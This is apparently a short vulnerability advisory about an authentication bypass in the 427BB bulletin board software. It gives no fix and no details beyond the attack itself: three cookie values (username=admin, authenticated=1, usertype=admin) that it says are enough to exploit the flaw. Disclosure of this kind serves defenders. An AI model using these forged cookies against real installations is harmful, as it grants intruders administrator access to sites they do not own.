• info
• discussion
• exploit
• solution
• references

427BB Authentication Bypass Vulnerability

No exploit is required.

The following demonstrates cookie-data sufficient to exploit this issue:
username=admin;
authenticated=1;
usertype=admin;